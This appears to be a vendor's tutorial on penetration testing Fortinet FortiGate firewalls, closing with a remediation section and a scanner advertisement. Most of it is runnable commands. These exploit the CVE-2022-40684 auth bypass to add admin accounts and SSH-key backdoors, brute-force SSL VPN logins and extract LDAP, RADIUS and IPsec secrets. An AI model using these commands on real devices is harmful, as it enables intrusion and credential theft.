Fortinet FortiGate Security Testing: CVE-2022-40684 Auth Bypass, SSL VPN Exploitation, and Management Interface Enumeration

Fortinet FortiGate is one of the most widely deployed next-generation firewalls globally. When CVE-2022-40684 dropped — an authentication bypass allowing unauthenticated admin access via crafted HTTP requests — CISA issued an emergency directive within days. FortiGate devices are a high-value target: they control network perimeters, terminate VPN tunnels, and often hold credentials for AD integration. This guide covers authorized FortiGate penetration testing methodology for red teams and enterprise security teams.

Table of Contents

  1. FortiGate Architecture and Attack Surface
  2. Fingerprinting and Version Detection
  3. CVE-2022-40684: Authentication Bypass
  4. CVE-2023-27997: SSL VPN Heap Overflow
  5. SSL VPN Portal Testing
  6. FortiOS REST API Enumeration
  7. Admin Credential Harvesting
  8. Configuration Extraction and Analysis
  9. LDAP/AD Integration Credential Exposure
  10. Remediation and Hardening

FortiGate Architecture and Attack Surface

FortiGate runs FortiOS, a Linux-based network operating system. From a penetration testing perspective, the key attack surfaces are:

InterfaceDefault PortAuth MechanismAttack Surface
HTTPS Management GUI443 or 8443Username/password, certificatesCVE-2022-40684, brute force, session theft
SSH CLI22Password or SSH keyBrute force, key exposure
SSL VPN Portal443 or 10443LDAP, RADIUS, local usersCVE-2023-27997, credential harvesting
REST API443API keys, session cookiesToken theft, unauthorized enumeration
SNMPUDP/161Community stringsDefault community (public), MIB enumeration
FortiManager (FGFM)TCP/541Certificate-basedDevice registration abuse
Authorization required: Testing FortiGate devices without written authorization violates computer fraud laws. FortiGate is frequently deployed at network perimeters — unauthorized access attempts are logged and can trigger incident response. Always obtain explicit written authorization before testing.

Fingerprinting and Version Detection

FortiOS version detection is critical for accurate CVE mapping. Several endpoints expose version information without full authentication.

HTTP Fingerprinting

# Management interface login page
curl -sk https://TARGET/ | grep -i "fortigate\|fortinet\|fortios\|version"

# SSL VPN portal (port 443 or 10443)
curl -sk https://TARGET/remote/login | grep -i "forti\|version"

# FortiOS login page typically returns a build number
curl -sk https://TARGET/login | grep -oP '"version":"[^"]+"|"build":"[^"]+"' | head -5

# Check X-Frame-Options and Server headers for disclosure
curl -skI https://TARGET/ | grep -i "server\|x-\|fortin"

# The /remote/fgt_lang endpoint reveals product info without auth
curl -sk https://TARGET/remote/fgt_lang?lang=en | head -20

Nmap Detection

# Basic service detection
nmap -sV -p 22,443,541,10443 TARGET

# NSE scripts for FortiGate
nmap --script=ssl-cert,http-title -p 443,10443 TARGET

# Certificate CN often reveals hostname like FGT60E-CORP
# SSL certificate org may show "Fortinet"

# Detect FGFM management port
nmap -sV -p 541 TARGET

Shodan / Censys Intelligence

# Shodan dorks for FortiGate
# http.html:"FortiGate" port:443
# http.title:"SSL VPN" "Fortinet" country:NL
# ssl.cert.subject.cn:"FortiGate" OR "FGT"
# product:"Fortinet FortiOS httpsd"

# FortiGate login pages often include "FortiGate" in title or body
# Some expose /api/v2/monitor/system/firmware without auth

Version from API Endpoint

# Pre-auth version disclosure (varies by FortiOS version)
curl -sk https://TARGET/api/v2/monitor/system/firmware

# Response example:
# {"http_method":"GET","results":{"current":{"version":"v7.2.3","build":1262,...}}}

# Also check /api/v2/monitor/system/status (may require auth)
curl -sk -H "Authorization: Bearer YOURTOKEN" \
  https://TARGET/api/v2/monitor/system/status

CVE-2022-40684: Authentication Bypass

CVE-2022-40684 (CVSS 9.8) is a critical authentication bypass in FortiOS, FortiProxy, and FortiSwitchManager. It affects FortiOS 7.2.0–7.2.1, 7.0.0–7.0.6, and FortiProxy 7.2.0 and 7.0.0–7.0.6. The flaw lies in the alternate path authentication logic — an attacker can send crafted HTTP/HTTPS requests with a spoofed Forwarded header, causing FortiGate to authenticate the request as if it came from a trusted Fortinet device management address.

Technical Root Cause

FortiOS trusts requests that appear to originate from 127.0.0.1 or Fortinet-specific management sources when the Forwarded header is set to by="[127.0.0.1]";for="[127.0.0.1]". The authentication check bypasses normal credential validation for these "trusted" source addresses.

Testing CVE-2022-40684

# Check if target is vulnerable (patch check — confirmed vulnerable produces admin user list)
curl -sk -X GET "https://TARGET/api/v2/cmdb/system/admin" \
  -H "User-Agent: Report Runner" \
  -H "Forwarded: by=\"[127.0.0.1]\";for=\"[127.0.0.1]\""

# Successful response reveals admin accounts:
# {"http_method":"GET","revision":"...","results":[{"name":"admin","type":"password",...}]}

# Add a new admin user via CVE-2022-40684 (authorized testing only)
curl -sk -X POST "https://TARGET/api/v2/cmdb/system/admin" \
  -H "User-Agent: Report Runner" \
  -H "Forwarded: by=\"[127.0.0.1]\";for=\"[127.0.0.1]\"" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "pentest-user",
    "password": "Pentest2026!",
    "accprofile": "super_admin",
    "vdom": [{"name": "root"}]
  }'

# Modify existing admin SSH public key (backdoor via authorized key)
curl -sk -X PUT "https://TARGET/api/v2/cmdb/system/admin/admin" \
  -H "User-Agent: Report Runner" \
  -H "Forwarded: by=\"[127.0.0.1]\";for=\"[127.0.0.1]\"" \
  -H "Content-Type: application/json" \
  -d '{"ssh-public-key1": "ssh-rsa AAAA... pentest@ironimo"}'

Post-Exploitation via Gained Admin Access

# List all VPN users and their configuration
curl -sk -H "Authorization: Bearer YOUR-API-TOKEN" \
  "https://TARGET/api/v2/cmdb/vpn.ssl/settings"

# Retrieve LDAP server configuration (exposes bind credentials)
curl -sk -H "Authorization: Bearer YOUR-API-TOKEN" \
  "https://TARGET/api/v2/cmdb/user/ldap"

# Dump local user database
curl -sk -H "Authorization: Bearer YOUR-API-TOKEN" \
  "https://TARGET/api/v2/cmdb/user/local"

# Export full firewall policy
curl -sk -H "Authorization: Bearer YOUR-API-TOKEN" \
  "https://TARGET/api/v2/cmdb/firewall/policy"

# Retrieve RADIUS server configuration
curl -sk -H "Authorization: Bearer YOUR-API-TOKEN" \
  "https://TARGET/api/v2/cmdb/user/radius"
Impact: CVE-2022-40684 allows unauthenticated attackers to create admin accounts, modify SSH keys, and gain complete control of the FortiGate device — including all firewall policies, VPN configurations, and integrated credentials. Fortinet confirmed exploitation in the wild before public disclosure.

CVE-2023-27997: SSL VPN Heap Overflow (XORtigate)

CVE-2023-27997 (CVSS 9.8, "XORtigate") is a heap-based buffer overflow in FortiOS SSL VPN. It affects FortiOS 6.0.x–6.0.16, 6.2.x–6.2.14, 6.4.x–6.4.12, 7.0.x–7.0.10, and 7.2.x–7.2.3. The vulnerability is in the SSL VPN pre-authentication code path, meaning it can be triggered without valid credentials. Successful exploitation leads to arbitrary code execution as root on the FortiGate.

Detection and Version Checking

# Check SSL VPN is enabled and accessible
curl -sk https://TARGET/remote/login -I | head -10

# Port scan for SSL VPN (commonly on 443 or 10443)
nmap -sV -p 443,10443 TARGET

# Version check — if version is in affected range, flag for CVE-2023-27997
# Affected: FortiOS 7.2.0-7.2.3, 7.0.0-7.0.10, 6.4.0-6.4.12, 6.2.x, 6.0.x

# The SSL VPN login page fingerprint
curl -sk https://TARGET/remote/login | grep -i "version\|build"

# Shodan search for exposed SSL VPN portals
# http.title:"SSL VPN" fortinet

Proof-of-Concept Testing (Controlled Environment Only)

# Public PoC repositories exist for CVE-2023-27997
# Do NOT run against production systems — this is a memory corruption vulnerability

# Check if the target responds to the vulnerable endpoint pattern
curl -sk -X POST "https://TARGET/remote/hostcheck_validate" \
  --data-binary $'\x00\x00\x00\x00' -o /dev/null -w "%{http_code}"

# A 200 response indicates the endpoint exists; actual exploitation
# requires the public PoC tooling and a controlled lab environment

# Alternative: verify patched status via firmware version API
curl -sk https://TARGET/api/v2/monitor/system/firmware \
  -H "Authorization: Bearer YOURTOKEN" | jq '.results.current.version'

SSL VPN Portal Testing

FortiGate SSL VPN portals are a frequent target due to their internet-facing nature and integration with Active Directory.

User Enumeration

# FortiGate SSL VPN user enumeration via login response timing
# Valid users typically return a different response code or timing
curl -sk -X POST https://TARGET/remote/logincheck \
  -d "username=admin&credential=wrongpassword&realm=&ajax=1"

# The response code 1 indicates wrong password (user exists)
# Response code 5 indicates account lockout
# Response code 3 may indicate user doesn't exist (varies by config)

# Mass enumeration with ffuf
ffuf -u "https://TARGET/remote/logincheck" \
  -X POST \
  -d "username=FUZZ&credential=wrongpass&realm=&ajax=1" \
  -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -fr "Username or password is not correct"

Credential Brute Force

# Hydra against FortiGate SSL VPN
hydra -L users.txt -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt \
  TARGET https-post-form \
  "/remote/logincheck:username=^USER^&credential=^PASS^&realm=&ajax=1:S=redir"

# Note: FortiGate typically enforces lockout after 3-5 failed attempts
# Check lockout policy first: /api/v2/cmdb/user/setting

# Two-factor bypass testing: check if SMS/token is required before or after password
curl -sk -X POST https://TARGET/remote/logincheck \
  -d "username=VALIDUSER&credential=VALIDPASS&realm=&ajax=1"
# If response contains "two_factor" - 2FA is required next step

Session Token Theft Testing

# Check for session cookie security flags
curl -sk -X POST https://TARGET/remote/logincheck \
  -d "username=USER&credential=PASS&realm=&ajax=1" \
  -c cookies.txt -v 2>&1 | grep -i "set-cookie"

# FortiGate sets SVPNCOOKIE - check for:
# HttpOnly flag (should be present)
# Secure flag (should be present)
# SameSite attribute (should be Strict or Lax)

# Session fixation test
# Pre-set a session cookie and check if server accepts it
curl -sk -X POST https://TARGET/remote/logincheck \
  -H "Cookie: SVPNCOOKIE=FIXEDVALUE" \
  -d "username=USER&credential=PASS&realm=&ajax=1"

FortiOS REST API Enumeration

The FortiOS REST API at /api/v2/ exposes comprehensive management functionality. Once authenticated (or if CVE-2022-40684 is exploitable), the API reveals the full device configuration.

API Authentication

# Generate API token via GUI: System > Admin > API Key
# Or via CLI: config system api-user, edit apiuser, set accprofile super_admin

# Test API access with token
curl -sk -H "Authorization: Bearer YOUR-API-TOKEN" \
  https://TARGET/api/v2/monitor/system/status | jq '.'

# Session-based auth (login first, use cookie)
curl -sk -X POST https://TARGET/logincheck \
  -d "username=admin&secretkey=PASSWORD&ajax=1" \
  -c session.txt

curl -sk -b session.txt https://TARGET/api/v2/monitor/system/status

Sensitive API Endpoints

# System information
curl -sk -H "Authorization: Bearer TOKEN" \
  https://TARGET/api/v2/monitor/system/status

# All admin accounts
curl -sk -H "Authorization: Bearer TOKEN" \
  https://TARGET/api/v2/cmdb/system/admin

# LDAP server configuration (exposes bind DN and password)
curl -sk -H "Authorization: Bearer TOKEN" \
  https://TARGET/api/v2/cmdb/user/ldap | jq '.results[] | {name, server, dn, password}'

# RADIUS server config
curl -sk -H "Authorization: Bearer TOKEN" \
  https://TARGET/api/v2/cmdb/user/radius | jq '.results[] | {name, server, secret}'

# VPN SSL settings (shows auth servers, portals)
curl -sk -H "Authorization: Bearer TOKEN" \
  https://TARGET/api/v2/cmdb/vpn.ssl/settings

# IPsec VPN phase1 (may expose PSK)
curl -sk -H "Authorization: Bearer TOKEN" \
  https://TARGET/api/v2/cmdb/vpn.ipsec/phase1-interface | jq '.results[] | {name, psksecret}'

# BGP/routing configuration
curl -sk -H "Authorization: Bearer TOKEN" \
  https://TARGET/api/v2/cmdb/router/bgp

# SD-WAN configuration
curl -sk -H "Authorization: Bearer TOKEN" \
  https://TARGET/api/v2/cmdb/system/sdwan

Unauthenticated Endpoints (Version Dependent)

# These endpoints sometimes respond without auth on older FortiOS versions
curl -sk https://TARGET/api/v2/monitor/system/firmware
curl -sk https://TARGET/api/v2/monitor/system/available-interfaces
curl -sk https://TARGET/api/v2/monitor/vpn/ssl

# Check for debug information exposure
curl -sk https://TARGET/api/v2/license/forticare
curl -sk https://TARGET/api/v2/monitor/license/status

Admin Credential Harvesting

Multiple paths lead to FortiGate admin credential exposure beyond the CVEs above.

Default Credentials

# FortiGate factory defaults
# Username: admin
# Password: (empty string) — no password on factory reset

# Test default credentials
curl -sk -X POST https://TARGET/logincheck \
  -d "username=admin&secretkey=&ajax=1" \
  -I | grep -i "location\|set-cookie"

# Some older models had password = serial number
# Serial visible on physical device or via SNMP

# Common weak passwords deployed in SMB environments
for pass in "admin" "fortinet" "fortigate" "password" "Fortigate1" "Admin@123"; do
  result=$(curl -sk -X POST https://TARGET/logincheck \
    -d "username=admin&secretkey=${pass}&ajax=1" | grep -c "redir")
  echo "admin:${pass} -> ${result}"
  sleep 1
done

Configuration Backup Credential Extraction

# FortiGate config backups (.conf files) contain ENC-encrypted passwords
# ENC passwords use a device-specific key but can often be decrypted

# Example encrypted password in config:
# set password ENC SH2LnW5jCk1cL/VGsTk7mX3HsV=

# FortiGate config is saved as plain text with some fields "ENC" encrypted
# The encryption is reversible if you know the encryption key
# Tool: fortidecrypt (community tool for authorized testing)

# If you have a config backup:
grep -E "password ENC|passwd ENC|psk ENC" fortigate-backup.conf

# Some credentials in configs are stored in plain text
grep -E "password [^E]|passwd [^E]|secret [^E]" fortigate-backup.conf

SNMP Community String Brute Force

# FortiGate exposes MIB data via SNMP including system info
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt TARGET

# If community found, enumerate system info
snmpwalk -v2c -c COMMUNITY TARGET system
snmpwalk -v2c -c COMMUNITY TARGET interfaces
snmpwalk -v2c -c COMMUNITY TARGET .1.3.6.1.4.1.12356  # Fortinet MIB

# Fortinet-specific MIB for FortiGate
# Download from: https://support.fortinet.com/Download/FirmwareImages.aspx
snmpbulkwalk -v2c -c COMMUNITY -Cn0 -Cr10 TARGET .1.3.6.1.4.1.12356.101

Configuration Extraction and Analysis

Full FortiGate configuration extraction reveals firewall policies, routing, VPN settings, and integrated service credentials.

Full Config Backup via API

# Download full configuration backup (requires admin access)
curl -sk -H "Authorization: Bearer TOKEN" \
  "https://TARGET/api/v2/monitor/system/config/backup?destination=file" \
  -o fortigate-backup.conf

# The config file is plain text — parse for sensitive data
grep -E "password|secret|psk|key" fortigate-backup.conf | grep -v "^\s*#"

# Extract LDAP credentials
grep -A 20 "config user ldap" fortigate-backup.conf | grep -E "server|dn|password|username"

# Extract RADIUS secrets
grep -A 10 "config user radius" fortigate-backup.conf | grep -E "server|secret"

# Extract IPsec PSKs
grep -A 20 "config vpn ipsec phase1" fortigate-backup.conf | grep "psksecret"

Firewall Policy Analysis

# Export all firewall policies
curl -sk -H "Authorization: Bearer TOKEN" \
  "https://TARGET/api/v2/cmdb/firewall/policy?format=json" | jq \
  '.results[] | {policyid, name, srcaddr: .srcaddr[].name, dstaddr: .dstaddr[].name, service: .service[].name, action}'

# Check for "any-to-any" policies (overly permissive)
curl -sk -H "Authorization: Bearer TOKEN" \
  "https://TARGET/api/v2/cmdb/firewall/policy" | jq \
  '.results[] | select(.srcaddr[].name == "all" and .dstaddr[].name == "all") | {policyid, name, action}'

# Network address objects
curl -sk -H "Authorization: Bearer TOKEN" \
  "https://TARGET/api/v2/cmdb/firewall/address"

LDAP/AD Integration Credential Exposure

FortiGate integrates with Active Directory for SSL VPN and management authentication. This creates credential exposure risks.

LDAP Bind Credential Extraction

# Via API (requires admin access)
curl -sk -H "Authorization: Bearer TOKEN" \
  "https://TARGET/api/v2/cmdb/user/ldap" | jq \
  '.results[] | {name, server, port, cnid, dn, "bind-dn": .["bind-dn"], password}'

# The bind-dn user often has broad AD read access
# The password is stored in the FortiGate config

# Test LDAP connectivity and credentials
ldapsearch -x -H ldap://LDAP-SERVER \
  -D "cn=fortigate-bind,dc=corp,dc=local" \
  -w "EXTRACTED-PASSWORD" \
  -b "dc=corp,dc=local" "(objectClass=user)" sAMAccountName | head -50

# If bind user has sufficient privileges, enumerate AD users
ldapsearch -x -H ldap://LDAP-SERVER \
  -D "cn=fortigate-bind,dc=corp,dc=local" \
  -w "EXTRACTED-PASSWORD" \
  -b "dc=corp,dc=local" \
  "(&(objectClass=user)(memberOf=CN=VPN-Users,OU=Groups,DC=corp,DC=local))" \
  sAMAccountName mail

SSL VPN Session Hijacking

# Capture SSL VPN session tokens if on the same network segment
# FortiGate SVPNCOOKIE is the session identifier

# Monitor for cleartext RADIUS authentication (if RADIUS is not using TLS)
tcpdump -i eth0 -n port 1812 -w radius-capture.pcap

# Parse RADIUS packets for authentication data
tshark -r radius-capture.pcap -Y "radius" -T fields \
  -e radius.User-Name \
  -e radius.User-Password

# Note: RADIUS User-Password is XOR-encrypted with the shared secret
# If you have the RADIUS shared secret, decrypt with:
# radtest USERNAME PASSWORD RADIUS-SERVER 0 SHAREDSECRET

Remediation and Hardening

Patch Priority

CVECVSSFix VersionPriority
CVE-2022-406849.8FortiOS 7.2.2+, 7.0.7+, 6.4.x (backport)Critical — patch immediately
CVE-2023-279979.8FortiOS 7.2.4+, 7.0.11+, 6.4.13+Critical — patch immediately
CVE-2022-424759.3FortiOS 7.2.3+, 7.0.9+Critical — SSL VPN RCE
CVE-2024-217629.6FortiOS 7.4.3+, 7.2.7+Critical — out-of-bounds write

Hardening Checklist

Quick win: If you cannot patch immediately for CVE-2022-40684, the official workaround is to disable the HTTPS administrative interface or restrict access to trusted IPs only: config system global, set admin-sport 8443, end and apply an admin trusted host restriction.

Test Your FortiGate Deployment with Ironimo

Ironimo's Kali Linux-powered scanner detects FortiGate misconfigurations, exposed management interfaces, and version-based CVE exposure. Get a complete picture of your network perimeter security posture.

Start free scan